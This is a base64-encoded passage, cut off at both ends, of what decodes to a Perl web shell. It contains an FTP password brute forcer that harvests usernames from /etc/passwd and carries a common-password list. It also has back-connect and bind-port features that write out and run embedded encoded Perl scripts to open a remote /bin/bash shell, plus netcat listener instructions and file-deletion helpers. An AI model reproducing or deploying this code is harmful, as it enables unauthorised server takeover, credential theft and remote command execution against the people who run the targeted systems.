RSdW5Db21tYW5kIDwvcnVuPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cNCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4NCkVORA0KCQ0KCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pKTsNCgkJCQkJfQ0KCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCYWNrQmluZEZvcm0NCnsNCglyZXR1cm4gPDxFTkQ7DQoJPGJyPjxicj4NCg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4NCgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPg0KDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQ0KCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4NCgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPg0KDQoJPGJyPjxicj4NCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCg0KCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4NCg0KCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQ0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgTUlNRTo6QmFzZTY0Ow0KCXVzZSBTb2NrZXQ7CQ0KCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsNCgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOw0KDQoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsNCgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7DQoJaWYoJENsaWVudFBvcnQgZXEgMCkNCgl7DQoJCXJldHVybiAmQmFja0JpbmRGb3JtOw0KCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7DQoJCWlmKC13ICIvdG1wLyIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCBiYWNrY29ubmVjdC5wbCAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfWVsc2UNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsNCgkJaWYoLXcgIi90bXAiKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUm1EaXIoJCkgDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KICAgIGlmKG9wZW5kaXIoRElSLCRkaXIpKQ0KCXsNCgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCXsNCgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkNCgkJCXsNCgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsNCgkJCQlpZigtZCAkZmlsZSkNCgkJCQl7DQoJCQkJCSZSbURpcigkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXVubGluaygkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKERJUik7DQoJfQ0KCWlmKCFybWRpcigkZGlyKSkNCgl7DQoJCQ0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAkZmlsZTsNCgl9DQoJcmV0dXJuICIwIjsNCg0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsNCgkkcGF0aD1+IHMvXFxcXC9cXC9nOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KDQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5GaWxlIFNpemU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTUwcHg7Jz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9ImxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7D